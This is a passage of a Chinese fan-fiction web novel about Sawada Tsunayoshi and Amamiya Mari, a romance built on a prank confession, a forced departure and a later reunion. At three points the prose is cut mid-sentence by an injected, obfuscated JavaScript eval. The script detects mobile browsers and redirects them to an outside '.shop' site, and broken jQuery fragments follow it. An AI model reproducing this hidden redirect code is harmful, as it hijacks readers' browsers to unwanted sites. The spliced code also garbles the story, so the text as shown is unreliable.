她又总是被人下套,只知道事后懊悔。等她反应过来的时候,已经被人用激将法捉弄得团团转,拿他打赌,说出了‘让那家伙真的喜欢上她后再将他甩掉’这种赌约。 茉莉后悔死了。 她觉得自己真是个坏孩子。 为什么总是做出这些让自己后悔的事情,总是说出这些难以收场的话呢? 没办法真心面对他人,没办法说出真心话。 就像一只刺猬一样,总是用身上的刺去戳伤靠近自己的人。 她一边懊悔着唾弃自己,又一边理所当然的眷恋和享受着他对她的好。 他真的很好。 这个世界上,除了母亲,从来没有人对他这么好过。 可是她知道,他对她好,只是因为最开始的时候,她骗他说她喜欢他。 虽然在那之后,她再也没有说过那句话,反而一直一直说讨厌他,他都没有抱怨过什么。 他总是对无理取闹的她全盘接受,还说她很好。 可是她是个坏孩子。 连自己都无法原谅自己的坏孩子。 这样的坏孩子,在谎言被彻底戳破的那一天落荒而逃。 他知道了,他知道这一切都是一场恶作剧,一场捉弄他、拿他来寻开心的游戏。 茉莉逃走了,她甚至不敢看他的眼睛,也不敢回应他的呼唤。 她逃回家中,发现许久未见的父亲回来了,正在客厅收拾东西。 父亲胡子拉碴、满脸憔悴、眼中全是血丝,精神甚至有些癫狂。 “茉莉,茉莉,快走,跟爸爸走,那个人要来了!我的计划被发现了!!” “我到现在都没有找到任务目标,他是谁,到底是谁!!完不成组织的任务,我会死的,我们都会死的!” “但是继续待在这里也会死!那个恶魔要来了!!茉莉,我的女儿,我们快走,再不走就来不及了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151410|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 父亲放弃了收拾行李,只让她带上最重要的物品,带她连夜开车离开。 茉莉一路都在哭着恳求父亲,希望他能让自己和朋友最后说声再见。 父亲根本不给她机会,反而冷酷无比的问她:“茉莉,你是想让我们两个都死在这里吗?” 茉莉愣住了。 夜风将她的银色长发吹得凌乱无比,也将她满脸的眼泪变得冰凉。 茉莉回过头去,整个人扒在车窗上,睁大眼睛,死死看着窗外,那栋属于沢田的楼房,希望最后能再见一眼他。 想和他说再见。 想和他说对不起。 想和他说,其实,那句我喜欢你,最开始是假的,可是最后已经变成了真的。 只是,他绝对不会再相信她了。 而她再也没有机会说出那些话了。 说什么再见,其实是再也不见吧。 模糊的视线中,那栋属于沢田的宅邸,化作一个小点,而后再也不见。 茉莉最后也没能再见他一面。 往后十年,她的梦中总是反复出现着这一幕。 有时候,她梦见她在离开并盛前见到了他。她哭着扑过去抱住他,和他说:再见。 有时候,她梦见那天晚上,他呼唤她的名字时,尝试抓住她的手时,她没有躲开,而是留了下来,对他说:对不起,我一直都在骗你。 有时候,她梦见自己在恶作剧表白的第二天就和他坦白了一切。他露出无奈的笑容:“原来是这样啊,没关系的。” 但更多的时候,她梦到他,只是梦到他们在一起的日常而已。 一起上下学的时候,一起吃午饭的时候,一起补习的时候,上课偷偷传纸条的时候,一起逛街的时候,一起玩游戏的时候,不小心牵手的时候,一起逃课的时候…… 每一次,每一次梦到他,醒来时,茉莉都会发现自己已经泪流满面。 梦里有多么开心,醒来就有多后悔。 所以,她才会在每年他的生日时,为他准备送不出去的礼物,在信纸中写下传达不到的话语,履行着永远无法实现的承诺。 她一直觉得对不起他。 都是她的错,茉莉从来没有怀疑过这一点。 可是,可是,现在这份情报里,说的都是什么? 为什么他会在她离开后的第二天就向其他女生表白啊? 那个时候,他明明说了喜欢她…… 虽然马上就被那些人揭穿,一切都是一场恶作剧而已,可是他说了啊,他说了喜欢她! 她知道,在知道真相之后,他对她的喜欢只会变成厌恶和愤怒,可是,可是至少在那之前,他是真的喜欢她啊! 这么多年来,茉莉都是这么认为的。 但她现在才知道,她被骗了。 像个小丑一样。 搞什么啊,闹了这么久,原来,她才是那个被所有人骗的团团转的大笨蛋吧? 她以为的恶作剧根本不是真相,真相其实是,喜欢着别人的他,故意答应她的表白,然后装作一副逆来顺受、乖乖听话的样子,把她逗得团团转吧?! 等到她落荒而逃,彻底离开并盛,他就终于能松了一口气,放弃了那种无聊的游戏,赶紧和别人表白了是吧?!! 她后悔了这么久,愧疚了这么久,难过了这么久,想了他这么久…… 全部都是假的,都是她一厢情愿,自以为是,自作多情,惹人发笑。 就连现在,她都还是被他骗得团团转啊…… “我啊,真是个笨蛋。” 深夜,茉莉抱着被子,嚎啕大哭。 14.久别重逢第14天 晚上十点五十,彭格列首领办公室内还亮着灯。 沢田纲吉刚处理完今天的紧急事务。 他靠在椅背上,长叹一口气,用指腹按了按太阳穴。 忙了一天,完全没心思想其他的,现在才发现已经这么晚了。 茉莉现在在做什么呢? 那么要强的她,也许和他一样,现在都还在处理家族事务吧? 他的脑海中,情不自禁浮现出身穿睡衣的银发女性坐在沙发上,认真翻看资料,执笔写着什么的画面。 嘴角情不自禁的泛起微笑。 光是想起她,一天的疲惫仿佛都消失无踪,连心跳的频率都加快了些。 对了,拉尔和他说过,下午会去菲尼克斯家族担任新首领的教官。 以前被菲尼克斯家族前首领拜托,沢田纲吉答应彭格列会为菲尼克斯继承人提供帮助,其实只是出于礼貌和尊重,还有对同盟家族的人道主义援助。 但这一刻,他却无比庆幸,过去的自己选择了帮助菲尼克斯家族。 他现在才知道,那是茉莉的家族,是茉莉的祖父。 有在祖父面前留下一个好印象,陪伴茉莉的祖父走过最后的那段时光,真是太好了。 沢田纲吉拿出手机,点开自己的私人账号。果然,在未读消息列表里看到了拉尔·米尔奇的头像。 [拉尔:我回来了 ] [拉尔:菲尼克斯的继承人身体素质一般,但毅力、忍耐力和野心都相当强悍 ] [拉尔:有这样的觉悟,我觉得她也许很适合做MAFIA首领,能够带领菲尼克斯家族重新夺回荣耀也说不定] [拉尔:总之,你要小心了,沢田] 沢田纲吉给拉尔编辑回复信息。 [沢田纲吉:感谢拉尔小姐对茉莉的照顾,辛苦了] [沢田纲吉:兔兔送花.gif] 发完消息,沢田纲吉就将手机锁屏后放进衣兜里,因而没有看到,拉尔小姐给他回了一个问号。 青年按捺着心中的雀跃和激动,在首领办公室内走了两圈,最后下定决心。 他要去见茉莉! 没有任何其他的原因,就是想见她,只是这么简单的想法而已。 青年关上首领办公室的灯,房间中陷入一片黑暗,推开窗户,扑面而来的是冰凉的夜风。 他没打算开车去,那太明显,也太浪费时间。 沢田纲吉直接进入超死气模式,化作一道流火,飞向天空,向着菲尼克斯家族的方向飞去。 以他的速度,到达菲尼克斯家族只用差不多十分钟的时间。 同样的事情,沢田纲吉昨天已经做过一次,所以今天表现得格外熟练。他甚至只用了不到十分钟的时间,就站到了茉莉卧室外的阳台上。 里面关着灯,漆黑一片,他能通过隐形眼镜的红外功能,看出她正在床上睡得正熟。 现在才刚刚十一点,茉莉竟然就睡着了? 沢田纲吉稍微有些讶异。 昨天晚上,他亲手为她涂了药,所以他再清楚不过,茉莉肯定已经恢复了健康。 要不然,她也不会在今天下午约拉尔进行训练了。 正是因为知道她已经恢复了健康,所以他才会这么惊讶,他还以为,茉莉在身体恢复正常后,不会这么晚就休息呢。 是白天训练太累了吗? 不过,她睡着了也是好事,如果她还清醒着,他绝对见不到她——她不会想见到他的。 想到这里,沢田纲吉心中有些发酸。他轻轻推开门,不动声色的进入她的卧室,来到她的床前。 地毯上残留着一些细小的纸屑。 像是有人将纸张撕成细小的碎片,洒在地上,女仆打扫时太过慌乱和仓促,从而在地毯上残留了一小部分。 沢田纲吉坐在她的床边,借着月光凝视着睡梦中的她,然后屏住了呼吸。 ——他发现茉莉竟然刚刚哭过。 她脸颊上、枕头上全是湿漉漉的泪痕。 她不安的蜷缩成一团,紧紧抱着怀中的被子,眉头紧蹙着,哪怕在睡梦中也满脸悲伤。 他的心脏骤然紧缩。 茉莉为什么会这么伤心?难道是有人欺负她了吗? 沢田纲吉拿出手帕,为她温柔拭去哪怕在睡梦中也仍源源不断溢出的眼泪。 他回忆起这次重逢后的种种,发现茉莉总是在生气、难过和哭泣,他从来没有见过她露出笑容。 其实,这也倒并不奇怪。毕竟茉莉在十年前也是这样。她的笑容就如同稀世珍宝一般,是他回眸上千次,才能够窥得一眼的宝物。 不过,如此珍惜和难得的笑容,在他们初次相遇那天,他曾经见到过。 …… 如果让十四岁的茉莉回忆,两个人的初次见面是什么时候,茉莉可能会满脸疑惑,拼命回想,然后回答:应该是转学当天,她在讲台上做自我介绍的时候吧。 但对于十四岁的沢田纲吉来说,两人的初次见面还要更早一些。 那是在茉莉入学的前一天发生的事情。 早上出门的时候,沢田纲吉发现家对面的空置房屋外出现了搬家公司的货车,有工作人员进进出出,忙忙碌碌。 要有新邻居了吗? 少年好奇的往那边多看了几眼,然后看到了一个超级漂亮的女孩子。 她仿佛从欧洲电影中走出来一般,穿着华丽又高贵的裙子,撑着漂亮的阳伞。 阳伞挡不住全部的阳光,她长长的银色发尾沐浴在阳光下,闪闪发光。 美得让他情不自禁的屏住了呼吸。 不过,沢田纲吉只看了两秒钟,连那位银发少女的面容都没看清,对方就注意到了他的视线,冷冷的瞪了他一眼。 沢田纲吉吓得浑身一缩,连忙收回视线,落荒而逃,仿佛自己做了什么坏事一般。 去学校的路上,沢田纲吉回忆起刚刚的惊鸿一瞥,还在想,对方看起来就像是欧洲的公主一样。 这样的人,怎么会搬到他家对面呢? 像他这样没用的人,就算和那样的公主成为了邻居,以后肯定也不会产生任何交集的。 沢田纲吉是这么发自内心的认为的,也并没有把这件事放在心上。 但让他没想到的是,和对方产生交集的机会,那么快就来了。 放学的时候,因为被同学拜托(威胁)帮忙做值日,沢田纲吉走得有点晚。 等他回家的时候,路上一个人都没有,他又又又又一次被隔壁高中的不良少年给打劫了。 他们不仅抢走了妈妈刚给他的零花钱,扯坏了他的书包,还因为他的反抗,挥着拳头就要揍他。 沢田纲吉害怕到双手抱头,还以为今天肯定免不了一顿毒打。 就在这个时候,那位银发的少女却出现了。 她双手抱臂,满脸不耐的看着他们:“喂,你们挡路了。” 那几个不良少年刚要生气,就看到对方那如同从油画中走出来的精致面容与装扮,一时竟然都看呆了。 这个瞬间,沢田纲吉心都凉了,他顾不得自己之后会被加倍报复,冲对方大喊:“快走!!” 但是根本就已经来不及,不良少年已经把他随手扔在了地上,嘿嘿怪笑着把银发少女包围了起来。 沢田纲吉不知道哪里来的勇气,扑上去抱住其中一人的大腿,“我拖住他们,你快点跑!!” 不良少年用脚狠狠踹他的脑袋,他的喉咙一片血腥,头晕目眩,疼得要命,却拼尽全力,一直死死的拽着对方不放。 可让沢田纲吉完全没有想到的是,他都做到这种程度了,那位美丽的少女仍旧没有离开的意思。 她眼神冷漠而恼怒,咬牙切齿道:“本小姐都说了,你们挡路了啊!!” 与此同时,少女提起裙摆,一个回旋飞踢,用带跟的鞋一脚将面前的不良少年踹出去两米远! 沢田纲吉甚至听到了对方骨头碎裂的声音。 看着如此娇弱又美丽的少女,竟然如此暴力! 这一幕震撼了所有人,不良少年们被吓到了,他们本来就是欺软怕硬的家伙,连忙扛着受伤的同伴就跑。 一边跑还一边放狠话:“你你你给我等着,下次我们老大来,绝对不会放过你!” 银发少女噗嗤一声笑出了声,她满脸红晕,表情神彩飞扬,“好,本小姐等着你们,来一个我揍一个,来一堆我揍一堆,看看谁打得过谁!” 沢田纲吉傻坐在地上,可能是刚刚被踹了几脚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168318|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘故,他感觉自己头晕目眩,呼吸急促。 尤其是对方保持着那样的笑容,回过头来瞥他那一眼,让沢田纲吉的心脏几乎要跳出胸膛。 好漂亮。 好耀眼。 闪闪发光。 简直就像初升的太阳一般。 那个时候,少年呆呆的想,这如同游戏CG画面的一幕,也许会永远印刻在他的脑海中,被他铭记一辈子也说不定。 那是沢田纲吉第二次见到茉莉,也是他第一次见到她的笑容。 是的,那位少女名叫雨宫茉莉,在与他初次见面的第二天,雨宫茉莉转学到了他的班级,成为了他的同班同学。 身穿并盛中学制服裙的银发美少女出现在讲台上的那一刻,班里的大家都情不自禁的发出了惊呼声。 沢田纲吉觉得好巧啊!他们不仅是邻居,竟然还成为了同学! 不过,这样的惊喜只有他一个人知晓,雨宫同学很明显根本不认识他,昨天发生的事情,不足以在她脑海中留下印象。 沢田纲吉对此也并不意外,毕竟他是被欺负、没有任何存在感的废柴纲嘛。要是雨宫同学这样的女孩子记住了他,那才奇怪呢。 不过,沢田纲吉发现了一件很奇怪的事情。 别人可能看不出来,但他见过少女那副神采飞扬的模样,就能够很容易的分辨出来,雨宫同学似乎很紧张。 站在讲台上自我介绍的时候很紧张,少女不敢对上任何人的视线,所以做出一副高冷的样子,写下自己的名字就不再出声。 上课的时候很紧张,少女拿出课本,做出一副认真听课的模样,腰背挺得笔直,保持三百六十度全方位的精致与完美,假装不在意其他同学频频投来的好奇目光。 下课的时候很紧张,面对好奇围上来问东问西的同学们,少女浑身僵硬,表情无比冷漠,皱着眉头说:“你们靠的太近,影响到我呼吸了。” 午餐时间很紧张。上午碰过壁后,对这位傲慢又冷漠的新同学,大家几乎都生出了一些不满的情绪。到了吃中午饭的时候,没有人叫她一起。 而她仿佛也不知道要吃饭一般,坐在座位上一动不动。 班里人缘最好的笹川京子看不下去了,和好友黑川花一起上前邀请对方一起吃便当,被少女冷漠而生硬的拒绝。 “我不喜欢和别人一起用餐。” 笹川京子和黑川花尴尬的离开了。因为这句话,其他同学对新同学的印象更加糟糕了。 但沢田纲吉一直在偷偷观察对方,他发现,雨宫同学,似乎,好像,很不擅长处理人际关系? 在笹川京子和黑川花离开之后,沢田纲吉发现雨宫茉莉的肩膀有一瞬间垮了下来,她眼中满是懊悔,似乎在后悔为什么自己刚刚要拒绝得那么快,眼中甚至泛起了泪光,别过头去飞快的擦了一下眼睛。 只是,在有人路过的时候,她又很快恢复了那副冷漠、傲慢又漫不经心的模样。 雨宫同学的性格,真别扭啊。 她不接受笹川京子的邀请的根本原因,好像是她根本没有带便当吧! 因为,从他的角度能看到,她的抽屉里除了课本和文具,什么都没有啊! 而且,她竟然不知道去便利店买吃的,就这么硬生生饿了一中午! 沢田纲吉从她身边路过的时候,甚至听到了对方肚子发出的咕咕叫声。 听到那个声音的时候,沢田纲吉的脚步顿住了,他震惊回头,发现银发少女正在假装看书,她一只手捏着书页,另一只手攥着衣角,指尖发白。 少女白皙的耳根和修长的脖颈泛上红色,身体还有细微的颤抖。他看着她的这短短两三秒钟,她的眼角也红了。 沢田纲吉觉得自己再这样看下去,雨宫同学是真的可能会哭出声来! 他赶紧离开,走到教室门口时再回过头去,发现银发少女已经放松了下来,此时正单手撑着下巴,安静的看着窗外的风景。 阳光洒在她的身上,她看起来就像天使一般。 沢田纲吉的心脏再次疯狂跳动起来。 不是被这副如同画卷一般的画面所再次震撼,而是在想: 糟糕。 雨宫同学刚刚那副害羞得快要哭出来的表情,真的超可爱啊!! 15.久别重逢第15天 雨宫同学用心口不一的傲慢与冷漠,来掩饰自己的不善交际,实际经常在偷偷反思和委屈这件事,沢田纲吉感觉好像不止自己一个人看出来了。 因为,他发现班里那几个爱恶作剧和欺负人的同学,盯上了雨宫同学。 他们就是欺软怕硬的典型代表,不敢欺负成绩好的、人气高的、人缘好的同学,就爱欺负他这样性格软弱的废柴。 沢田纲吉已经被他们支使习惯了,经常帮他们做值日、抄作业、跑腿,被他们拿来当笑话和谈资。对方美名其曰因为是朋友、关系好才‘拜托’他、开他的玩笑,但沢田纲吉心里清楚,他们根本没拿他当朋友。 他当然也没拿他们当朋友——拜托,他只是废柴而已,又不是傻子。之所以最后还是没反抗,只不过是因为这是对他来说最省事的选择而已。 反正不被他们欺负,也会有其他人来欺负他。他们几个就是性格有点蔫坏,倒不敢做什么伤天害理的事情。如果在他们面前被其他人欺负的话,这几个自诩为朋友的人甚至还会帮他的忙。 毕竟,在他们的眼里,他是‘自己人’,只能被他们欺负,别人怎么能欺负他? 不过,在这几位‘朋友’看不见的地方,还有学校之外被欺负的话,沢田纲吉也只能自求多福了。 所以,当沢田纲吉发现他们最近捉弄他的频次少了很多时,还短暂的高兴了一阵。 不过,他很快就高兴不起来了,因为他发现他们盯上了雨宫同学! 他们完全不在意雨宫同学表现出来的傲慢和冷漠,故意接近她,缠着她,说要做她的朋友,还要做她的跟班。 天真单纯的雨宫同学果然勉为其难的答应了! 然后,他们经常故意说出一些让她为难的话来捉弄她,观察她的反应,在她不在时大肆嘲笑她。 比如,雨宫同学开始带便当上学之后,就一直很期待和笹川京子还有黑川花一起吃午饭。 她已经知道了,同学一起吃午饭,是关系好的证明。 沢田纲吉就坐在雨宫茉莉身后右侧的位置,一直在观察她,所以很清楚的知道这件事。 而且她真的很明显啊! 离中午放学还有半个小时的时候,雨宫同学就开始坐立不安,左手放在抽屉里握住便当盒,眼神一直往笹川京子和黑川花的方向看。 她还假装在草稿纸上做笔记,在上面写一会要说的话,写了好多句,最后艰难选出一句,然后将其涂黑,以免被别人看到。 “……” 沢田纲吉全都看到了。 下课铃响起后,雨宫同学的心都飞走了,还要装作漫不经心的样子,慢悠悠的用手握住抽屉里的便当盒,准备优雅起身,走到笹川京子面前,云淡风轻(重点)的邀请对方:要一起吃午饭吗? 沢田纲吉在后面看得呼吸都屏住了,在心里默念,加油啊!雨宫同学! 然而,让他们万万没想到的是,笹川京子和黑川花竟然先一步过来了! “雨宫同学,上次是我不好,都没发现你不知道日本学校的习俗,没有带便当来。” 笹川京子满含歉意的微笑着,笑容温暖:“今天要一起吃饭吗?” 沢田纲吉傻眼了。 雨宫茉莉也傻眼了。 她满脑子都是要怎么邀请对方,但对方突然邀请她这件事,她没有做应急预案啊! 银发少女完全僵在了原地,紧绷着脸,沉默了好几秒,突然遵循本能,双手抱臂,傲慢的冷哼一声: “既然你都……”这么邀请了,那本小姐就勉为其难的答应了。 沢田纲吉猜测,对方想说的估计是这句。 但她没能把话说完,因为她刚交的‘朋友’突然站了起来,满脸责怪的开玩笑道: “京子酱~你在说什么呢?像茉莉这样的贵族大小姐,怎么可能和我们这种平民吃一样的便当,还和平民一起用餐呢?大小姐肯定是要在仆人的侍奉下用餐的啊~” 说到这里,对方又故作惊讶的回过头来:“哎呀,怎么没见到茉莉的仆人呢?” ……糟糕。 话题完全被对方给带走了。 哪怕是沢田纲吉自己,都不敢保证自己能在这样看似亲密实则阴阳怪气的捧杀下保持清醒的思路,更何况雨宫同学还那么要面子! 在这几天的接触中(其实是单方面的观察),沢田纲吉已经深刻的了解了雨宫同学的要强。 她认为自己是贵族,是大小姐,所以凡事必须高人一等,如果做不到比别人好,那她的自尊心就会受损。她最受不了的就是别人质疑她的贵族身份。 为了维护这样的自尊心与人设,沢田纲吉已经预料到后续的发展了。 果然,银发少女浑身僵硬,双手抱臂,靠在椅背上,故作傲慢道:“本小姐的仆人怎么可能到学校来?我可不是那种利用身份行使特权的人。感谢你们的好意,不过,我不喜欢和别人群聚。” “是这样啊,”笹川京子表示理解,“那我们就先走了。” 故意引导雨宫同学说出那些话的那个女生,和另外一男一女交换眼神,也窃笑着离开了。 其他同学也都陆陆续续的离开了教室。 班里只剩下了沢田纲吉和雨宫茉莉两个人。 沢田纲吉知道自己很没有存在感,雨宫同学可能根本没有注意到他,所以才会在自以为只剩下自己一个人之后,委屈又懊悔的僵坐在原地,捂着口鼻,发出小兽一般的呜咽声,眼泪吧嗒吧嗒往下掉。 救命。 雨宫同学要是发现他看到了这一幕的话,估计会羞愤到想要灭口吧! 当然,灭口什么的都是开玩笑的,但以后再也不理他肯定是真的。 虽然雨宫同学现在就根本没理过他——她估计都完全不知道他的存在——但沢田纲吉还是本能的不希望这种事情发生。 他在座位上悄悄的缩成一团,降低自己的存在感,没过一会,雨宫同学就收拾好了自己的情绪,红着眼走出了教室。 估计是去洗手间了。 沢田纲吉终于如蒙大赦,拿着自己的便当盒飞奔出教室,打算随便找个没人的地方吃午饭。 但他路过某个走廊时,竟然通过走廊窗户,听到了外面草坪上传来的熟悉的大肆嘲笑声。 “哈哈哈哈,你们看到了吗?她当时的那个表情!” “看到了看到了,眼泪都快要掉出来了,还要装出一副贵族大小姐的样子,真搞笑!” “说什么不喜欢群聚,哈哈哈哈哈哈,她以为自己是委员长吗?” “……” 这些嘲笑声,好刺耳。 身为废柴纲的自己,早已习惯了这样的嘲讽,学会了将其当做耳旁风。 但这一次,被嘲笑的对象明明不是自己,沢田纲吉却比自己被嘲笑时还要生气,还要难过! 雨宫同学才不是他们说的那样! 她只是有一点别扭,有一点不善表达自己而已,为什么要这么嘲笑她! 沢田纲吉一怒之下……就怒了一下,什么也没做,什么也没说,自己气鼓鼓的走了。 他就是想帮忙也没办法啊,他就是个废柴而已,什么都做不到,只能干生气。 但让沢田纲吉没有想到的是,报答雨宫同学的机会来得这么快。 那天轮到他的‘朋友们’做值日,沢田纲吉根本不用任何人提醒,就自主自觉的留下来帮他们做值日,他还以为和平时一样,他们早就都走了。 可当他艰难提着水桶回到教室时,这才发现,那三个‘朋友’,竟然和雨宫同学一起留在了教室里! 左边的女生亲密的抱着银发少女的手臂,右边的女生玩弄着她的一缕银色长发,三个女生靠得很近。 雨宫同学被她们夹在中间,完全没注意到她们的距离有多么令人不适,兀自沉浸在自己的世界中,眼眶发红,满脸都写着为难,偏偏还要装作一副自己很厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183143|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害,什么都做得到的样子。 三人组的另一个男生坐在桌子上看笑话。说实话,那个男生看雨宫同学的眼神,很下流,让沢田纲吉觉得非常不舒服。 太近了。 靠得太近了。 氛围也好奇怪! 说实话,沢田纲吉已经开始怀疑他们要诱骗雨宫同学做一些色色的事情了! 毕竟这样的发展,他在小H书里看过!(严肃脸) 沢田纲吉赶紧装作什么都不知道一般,提着水桶冲了进去,然后正常发挥,左脚绊右脚跌倒在地,连水桶一起倒在地上。 两个女生尖叫着后退。 刚刚那股奇怪的氛围,被他成功破坏了! 沢田纲吉一边假装道歉,一边在心底窃喜,就在这时,他听到了雨宫同学故作平静的声音。 “喂,你要不要做本小姐的男朋友?” …… ………… 啊??? 沢田纲吉震惊抬头,“诶?骗人的吧?你你你是在和我说话?” “是啊,不是你还能是谁。” 不知为何,银发少女在见到他之后放松了许多,此时用那双闪闪发光的翡翠色眼眸瞪着他,故作凶狠:“喂,你会答应的吧?” 看着这样的雨宫同学,又看着她身后不敢置信的看笑话的那三个‘朋友’,沢田纲吉突然意识到了。 ——雨宫同学绝对是他们被为难了。 想要为她解围。 她救过他,这是他唯一能够报答她的机会了。 但鬼使神差的,沢田纲吉还是犹豫着开口:“可是……为什么呢?我是说,为什么是我?” 他的犹豫让对面的银发少女慌了。 她的身体在发抖,眼眶和鼻梁开始泛红,眼中闪烁着晶莹的流光。 即便如此,她仍旧强撑着,甚至伸出手把浑身湿透的他从地上拽起来。 她的手很软,很凉,在发抖。 她没有放手,像是抓着自己的最后一根稻草那般,红着眼睛,浑身都泛着难堪和害羞的粉色,如同蚊鸣般艰难出声: “因为,因为,我喜欢你,沢田同学……你不愿意吗?” …… ………… 这个瞬间,沢田纲吉只感觉整个世界都在离自己远去。 世界只剩下了他和眼前的银发少女。 心脏跳得好快。 他的脑海中只有一个想法。 原来,雨宫同学,知道他的名字。 她认识他! 这一刻,沢田纲吉突然觉得,就算雨宫同学没有救过他,他也一定会答应的。 毕竟,没有人能在这样的眼神和表情中狠下心来拒绝吧? 所以,就算他很清楚的知道,这只是一场恶作剧而已,他也心甘情愿的接受。 没错,沢田纲吉从头到尾,都知道这场恋情只是一场恶作剧。 他小心翼翼的保护着少女那如同泡泡一般脆弱的真心,不忍心戳破它。 最开始只是不知道,到底要怎么和她坦白,她才会不生气,不会彻底和他断绝关系。 到后来,他已经变成了不舍得。 不想从她的世界中消失。 不想变回以前那种陌生的关系。 想让她注视着他,生气也好、嫌弃也好、埋怨也好、委屈也好、感动也好、害羞也好、信任也好……什么眼神都好,只要是她,只要她能一直一直注视着他。 想靠近,想牵手,想拥抱,想倾诉他的真心。 但是不可以。 他是个胆小鬼。 如果他真的把真心说出口,茉莉一定会向他坦白这只是恶作剧,然后转身离开他的。 他知道,她一直都在纠结到底何时坦白,结束他们之间的关系,他不能主动给她这个机会。 然而如何再小心翼翼的保护,泡泡终究是泡泡,还是避免不了终将破碎的那一天。 16.久别重逢第16天 沢田纲吉永远都不会忘记那天晚上。 放学的时候,那三个‘朋友’叫住他,说晚上要留在学校玩狐仙游戏,拜托(威胁)他帮他们买点吃的回来。 而且,还是指定的食物,沢田纲吉要跑两条街才能买到。 因为前一天茉莉和他闹别扭,刚放学茉莉一个人就走了,没有她在,他鼓不起勇气去拒绝他们。 沢田纲吉跑了两条街,又排了好久的队,才买到了他们指定的食物。而且,在回学校的路上,竟然下起了雨。 在电闪雷鸣中,他一路狂奔回学校,气喘吁吁走到门口,原本还以为下雨,那几个人会自己回去。 却没想到,当他走到教室后门时,竟然看到了茉莉的背影。 她背对着他的方向,和另外三个人围绕着一张书桌坐着。 坐在茉莉对面的那个女生A问她:“茉莉~你打算什么时候和那个笨蛋说清楚啊?” 茉莉冷冷问:“说什么?” “说你们会在一起都是因为恶作剧,都是因为想看他的笑话啊,”女生A笑眯眯,“难道不是吗?茉莉,你该不会真的喜欢上他了吧?” “……”听到这句话,浑身湿漉漉的沢田纲吉脚步一顿,直接僵在原地。 “哈?”背对着她的银发少女激动得拍桌子站了起来,仿佛像是要掩饰什么一般超大声反驳,“本小姐怎么可能喜欢他?喜欢那种软弱得像是兔子一样的男生?绝对不可能!” “真的吗?”另一个女生B怀疑问道,“我看你们每天都黏在一起,甜甜蜜蜜,开心得很诶?” 茉莉红着脸反驳:“那家伙、只是、只是本小姐的跟班而已!跟班成天跟着主人不是很正常吗?” 男生C很不高兴,语气中满是嫉妒:“我上次看到你们俩牵手了。” 和对另外两个女生的态度不同,茉莉冲他翻了个白眼,言简意赅:“你眼睛瞎了。” 男生C:“……” “茉莉,我相信你,你这样高贵的大小姐是绝对不可能做出那种事情来的。”女生A转移话题,“既然如此,我们是时候开始展开下一步计划了。” 茉莉:“什么计划?” 女生A:“你忘了吗?我们不是说好了。要让那个家伙喜欢上你,然后你再当面把他甩掉,并告诉他所有的真相,让他知道自己是一只多么异想天开的癞蛤蟆。” “……” 茉莉沉默半晌,低垂着头,艰难开口:“我……我……要不……还是算了吧……” 看到她这样强撑着的反应,三人组哄堂大笑,笑得弯下腰,眼角都溢出了生理性的眼泪。 “茉莉,现在已经没有后悔的余地咯。你看看你身后,看看谁来了?” 少女浑身一震,不敢置信回过头来。 和站在门口的沢田纲吉对上视线。 “……” 明明应该上去打断的。 明明早就知道是一场恶作剧。 明明知道茉莉根本不可能承认。 但他还是不由自主的停下了脚步,屏住呼吸,然后得到了她‘绝对不可能喜欢他’的回答。 心脏像是被撕裂了。 脑子里仿佛有两个小人在打架。 一个小人泪流满面:“我早就知道了!我早就知道茉莉肯定不可能喜欢我!” 另一个小人摇晃着他的肩膀:“你清醒一点!茉莉有多心口不一,你是最清楚不过的啊!她肯定说的不是真心话!” 沢田纲吉怔怔凝视着少女的背影,连呼吸都是苦的,就在这时,他看到她回过头来,和他四目相对。 明明最受伤的人是他才对,可少女却表现得比他还要夸张。 她脸色一下子变得惨白,整个人摇摇欲坠,瞳孔震颤,不敢置信的睁大了眼睛。 难堪、羞愧、后悔、懊恼、愤怒、绝望……数不清的情绪化作眼泪从眼中落下,她看起来像是要碎了。 “茉莉……” 沢田纲吉怔怔开口,她就像是被惊动的小动物般,用手臂挡着眼睛,头也不回的从教室前门落荒而逃! “茉莉!” 沢田纲吉不假思索的追了上去。 他从来没有跑得这么快过,在下楼时追上了她。他伸出手去抓她的手腕,却被少女一把推开。 “别靠近我!!” 少女哭着说,然后一个人踏入了雨中,头也不回的离开了。 被她推开的沢田纲吉已经彻底失去了所有力气,他呆站在原地,凝视着她的背影,任由雨水将自己的脸颊打湿。 沢田纲吉不知道自己是怎么回到家的。 浑身湿透的他,一到家就被妈妈推进了浴室里。 外面的雨越下越大,哗啦啦,将所有的声音都淹没了。 洗完澡,少年躺在床上,看着天花板发呆。 这么晚了,茉莉已经休息了吧。 